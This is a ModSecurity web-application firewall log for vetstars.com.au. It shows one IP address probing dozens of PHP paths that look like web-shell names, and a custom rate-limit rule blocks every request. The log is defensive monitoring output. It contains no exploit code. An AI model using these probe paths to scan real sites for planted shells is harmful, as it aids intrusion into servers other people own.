[Tue Dec 16 17:00:14.270924 2025] [:error] [pid 12330:tid 12350] [client 4.189.124.35:60234] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s121ws2s.php"] [unique_id "aUEfnl6iIQEVCIh8V1lWkgAAAZA"]
[Tue Dec 16 17:00:15.939821 2025] [:error] [pid 51991:tid 51995] [client 4.189.124.35:57247] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s121ws2s.php"] [unique_id "aUEfn67zKCVJSuwV1xZxlwAAAQI"]
[Tue Dec 16 17:00:18.748482 2025] [:error] [pid 51991:tid 52012] [client 4.189.124.35:55952] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s121ws2s.php"] [unique_id "aUEfoq7zKCVJSuwV1xZxogAAARM"]
[Tue Dec 16 17:00:21.417075 2025] [:error] [pid 35998:tid 36007] [client 4.189.124.35:57274] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww1.php"] [unique_id "aUEfpRKnhGuuhGxBSLOSJAAAAUY"]
[Tue Dec 16 17:00:23.565610 2025] [:error] [pid 18408:tid 18424] [client 4.189.124.35:10101] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww1.php"] [unique_id "aUEfpzi2Gr8pDzjrVBDszgAAAM4"]
[Tue Dec 16 17:00:26.240529 2025] [:error] [pid 51991:tid 51995] [client 4.189.124.35:55955] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww1.php"] [unique_id "aUEfqq7zKCVJSuwV1xZxqAAAAQI"]
[Tue Dec 16 17:00:27.564217 2025] [:error] [pid 51991:tid 52007] [client 4.189.124.35:55987] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww1.php"] [unique_id "aUEfq67zKCVJSuwV1xZxrAAAAQ4"]
[Tue Dec 16 17:00:29.119830 2025] [:error] [pid 53940:tid 53944] [client 4.189.124.35:10102] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aUEfrV91PNbcXLVkpR7L3QAAAcE"]
[Tue Dec 16 17:00:31.537423 2025] [:error] [pid 18324:tid 18401] [client 4.189.124.35:53350] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aUEfr6G4um2mD1VpJHJ1ZAAAAJU"]
[Tue Dec 16 17:00:33.263207 2025] [:error] [pid 51991:tid 51993] [client 4.189.124.35:55990] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aUEfsa7zKCVJSuwV1xZxuAAAAQA"]
[Tue Dec 16 17:00:34.964268 2025] [:error] [pid 18323:tid 18377] [client 4.189.124.35:55977] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aUEfsjJB6UFxIutsA8YLagAAAFg"]
[Tue Dec 16 17:00:36.779981 2025] [:error] [pid 51991:tid 51999] [client 4.189.124.35:53312] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww3.php"] [unique_id "aUEftK7zKCVJSuwV1xZxvwAAAQY"]
[Tue Dec 16 17:01:00.624779 2025] [:error] [pid 18322:tid 18336] [client 4.189.124.35:53325] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gdn.php"] [unique_id "aUEfzJsCeWBjrw28XtzlaAAAAAo"]
[Tue Dec 16 17:01:03.486429 2025] [:error] [pid 18324:tid 18401] [client 4.189.124.35:55950] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gdn.php"] [unique_id "aUEfz6G4um2mD1VpJHJ1zgAAAJU"]
[Tue Dec 16 17:01:06.845686 2025] [:error] [pid 53940:tid 53959] [client 4.189.124.35:53357] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gdn.php"] [unique_id "aUEf0l91PNbcXLVkpR7L_QAAAdA"]
[Tue Dec 16 17:01:08.773438 2025] [:error] [pid 12330:tid 12344] [client 4.189.124.35:10073] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gdn.php"] [unique_id "aUEf1F6iIQEVCIh8V1lW2QAAAYo"]
[Tue Dec 16 17:01:10.160707 2025] [:error] [pid 18408:tid 18415] [client 4.189.124.35:60242] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file5.php"] [unique_id "aUEf1ji2Gr8pDzjrVBDtFwAAAMU"]
[Tue Dec 16 17:01:13.421397 2025] [:error] [pid 18322:tid 18346] [client 4.189.124.35:10054] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file5.php"] [unique_id "aUEf2ZsCeWBjrw28XtzldQAAABQ"]
[Tue Dec 16 17:01:16.387271 2025] [:error] [pid 18322:tid 18347] [client 4.189.124.35:55956] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file5.php"] [unique_id "aUEf3JsCeWBjrw28XtzlewAAABU"]
[Tue Dec 16 17:01:20.995296 2025] [:error] [pid 18323:tid 18354] [client 4.189.124.35:53363] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file5.php"] [unique_id "aUEf4DJB6UFxIutsA8YLuQAAAEE"]
[Tue Dec 16 17:01:21.457764 2025] [:error] [pid 18323:tid 18377] [client 4.189.124.35:10066] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3i8som87avh59dosfymtvCakc.php"] [unique_id "aUEf4TJB6UFxIutsA8YLuwAAAFg"]
[Tue Dec 16 17:01:22.275369 2025] [:error] [pid 35998:tid 36004] [client 4.189.124.35:53350] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3i8som87avh59dosfymtvCakc.php"] [unique_id "aUEf4hKnhGuuhGxBSLOSkQAAAUM"]
[Tue Dec 16 17:01:24.862186 2025] [:error] [pid 18408:tid 18413] [client 4.189.124.35:55953] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3i8som87avh59dosfymtvCakc.php"] [unique_id "aUEf5Di2Gr8pDzjrVBDtOgAAAMM"]
[Tue Dec 16 17:01:30.189489 2025] [:error] [pid 18324:tid 18382] [client 4.189.124.35:60249] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3i8som87avh59dosfymtvCakc.php"] [unique_id "aUEf6qG4um2mD1VpJHJ18gAAAII"]
[Tue Dec 16 17:01:36.081360 2025] [:error] [pid 12330:tid 12348] [client 4.189.124.35:53330] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzki.php"] [unique_id "aUEf8F6iIQEVCIh8V1lXSQAAAY4"]
[Tue Dec 16 17:01:41.354635 2025] [:error] [pid 35998:tid 36006] [client 4.189.124.35:10070] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzki.php"] [unique_id "aUEf9RKnhGuuhGxBSLOS8gAAAUU"]
[Tue Dec 16 17:01:44.397824 2025] [:error] [pid 18322:tid 18348] [client 4.189.124.35:10100] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzki.php"] [unique_id "aUEf-JsCeWBjrw28XtzmDwAAABY"]
[Tue Dec 16 17:01:46.776247 2025] [:error] [pid 18408:tid 18411] [client 4.189.124.35:10074] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzki.php"] [unique_id "aUEf-ji2Gr8pDzjrVBDtegAAAME"]
[Tue Dec 16 17:01:53.687485 2025] [:error] [pid 12330:tid 12353] [client 4.189.124.35:59456] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aUEgAV6iIQEVCIh8V1lXWwAAAZM"]
[Tue Dec 16 17:01:56.878832 2025] [:error] [pid 51991:tid 51997] [client 4.189.124.35:57263] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aUEgBK7zKCVJSuwV1xZygAAAAQQ"]
[Tue Dec 16 17:01:58.569577 2025] [:error] [pid 35998:tid 36018] [client 4.189.124.35:57225] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aUEgBhKnhGuuhGxBSLOS-wAAAVE"]
[Tue Dec 16 17:02:14.518818 2025] [:error] [pid 12330:tid 12357] [client 4.189.124.35:55981] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kUgr4yGzxN.php"] [unique_id "aUEgFl6iIQEVCIh8V1lXbAAAAZc"]
[Tue Dec 16 17:02:17.299891 2025] [:error] [pid 51991:tid 52008] [client 4.189.124.35:60263] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kUgr4yGzxN.php"] [unique_id "aUEgGa7zKCVJSuwV1xZyrAAAAQ8"]
[Tue Dec 16 17:02:20.204715 2025] [:error] [pid 18323:tid 18362] [client 4.189.124.35:53341] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kUgr4yGzxN.php"] [unique_id "aUEgHDJB6UFxIutsA8YMbAAAAEk"]
[Tue Dec 16 17:02:23.054366 2025] [:error] [pid 12330:tid 12339] [client 4.189.124.35:10071] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kUgr4yGzxN.php"] [unique_id "aUEgH16iIQEVCIh8V1lXbwAAAYU"]
[Tue Dec 16 17:02:26.032914 2025] [:error] [pid 18322:tid 18328] [client 4.189.124.35:53370] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file30.php"] [unique_id "aUEgIpsCeWBjrw28XtzmZAAAAAI"]
[Tue Dec 16 17:02:28.024739 2025] [:error] [pid 53940:tid 53965] [client 4.189.124.35:53365] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file30.php"] [unique_id "aUEgJF91PNbcXLVkpR7MmwAAAdY"]
[Tue Dec 16 17:02:30.206829 2025] [:error] [pid 53940:tid 53944] [client 4.189.124.35:55938] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file30.php"] [unique_id "aUEgJl91PNbcXLVkpR7MoQAAAcE"]
[Tue Dec 16 17:02:32.015262 2025] [:error] [pid 35998:tid 36014] [client 4.189.124.35:59481] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file30.php"] [unique_id "aUEgKBKnhGuuhGxBSLOTGQAAAU0"]
[Tue Dec 16 17:02:34.812714 2025] [:error] [pid 51991:tid 52015] [client 4.189.124.35:53325] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rp8zi.php"] [unique_id "aUEgKq7zKCVJSuwV1xZyyAAAARY"]
[Tue Dec 16 17:02:36.716839 2025] [:error] [pid 18323:tid 18375] [client 4.189.124.35:59493] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rp8zi.php"] [unique_id "aUEgLDJB6UFxIutsA8YMdAAAAFY"]
[Tue Dec 16 17:02:39.354651 2025] [:error] [pid 18322:tid 18341] [client 4.189.124.35:55954] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rp8zi.php"] [unique_id "aUEgL5sCeWBjrw28XtzmawAAAA8"]
[Tue Dec 16 17:02:42.086313 2025] [:error] [pid 18322:tid 18348] [client 4.189.124.35:60241] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rp8zi.php"] [unique_id "aUEgMpsCeWBjrw28XtzmcAAAABY"]
[Tue Dec 16 17:02:45.076140 2025] [:error] [pid 12330:tid 12344] [client 4.189.124.35:53355] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc3.php"] [unique_id "aUEgNV6iIQEVCIh8V1lXiQAAAYo"]
[Tue Dec 16 17:02:48.453772 2025] [:error] [pid 12330:tid 12334] [client 4.189.124.35:60283] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc3.php"] [unique_id "aUEgOF6iIQEVCIh8V1lXiwAAAYA"]
[Tue Dec 16 17:02:52.115081 2025] [:error] [pid 18323:tid 18369] [client 4.189.124.35:53364] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc3.php"] [unique_id "aUEgPDJB6UFxIutsA8YMgwAAAFA"]
[Tue Dec 16 17:02:54.487775 2025] [:error] [pid 18322:tid 18331] [client 4.189.124.35:10058] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc3.php"] [unique_id "aUEgPpsCeWBjrw28XtzmfAAAAAU"]
[Tue Dec 16 17:02:57.119446 2025] [:error] [pid 35998:tid 36008] [client 4.189.124.35:55964] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-user.php"] [unique_id "aUEgQRKnhGuuhGxBSLOTJQAAAUc"]
[Tue Dec 16 17:03:00.899185 2025] [:error] [pid 35998:tid 36011] [client 4.189.124.35:60272] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-user.php"] [unique_id "aUEgRBKnhGuuhGxBSLOTKQAAAUo"]
[Tue Dec 16 17:03:02.659905 2025] [:error] [pid 12330:tid 12351] [client 4.189.124.35:55982] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-user.php"] [unique_id "aUEgRl6iIQEVCIh8V1lXqQAAAZE"]
[Tue Dec 16 17:03:05.373410 2025] [:error] [pid 18322:tid 18345] [client 4.189.124.35:10067] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-user.php"] [unique_id "aUEgSZsCeWBjrw28XtzmfQAAABM"]
[Tue Dec 16 17:03:07.640709 2025] [:error] [pid 18323:tid 18367] [client 4.189.124.35:60230] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php"] [unique_id "aUEgSzJB6UFxIutsA8YMkgAAAE4"]
[Tue Dec 16 17:03:25.673958 2025] [:error] [pid 12330:tid 12343] [client 4.189.124.35:56512] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qV9GbcJwZgK.php"] [unique_id "aUEgXV6iIQEVCIh8V1lXzAAAAYk"]
[Tue Dec 16 17:03:27.422181 2025] [:error] [pid 51991:tid 52004] [client 4.189.124.35:16565] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qV9GbcJwZgK.php"] [unique_id "aUEgX67zKCVJSuwV1xZy_QAAAQs"]
[Tue Dec 16 17:03:28.764826 2025] [:error] [pid 18323:tid 18353] [client 4.189.124.35:60829] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qV9GbcJwZgK.php"] [unique_id "aUEgYDJB6UFxIutsA8YMvQAAAEA"]
[Tue Dec 16 17:03:32.669769 2025] [:error] [pid 51991:tid 52007] [client 4.189.124.35:60849] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qV9GbcJwZgK.php"] [unique_id "aUEgZK7zKCVJSuwV1xZzBAAAAQ4"]
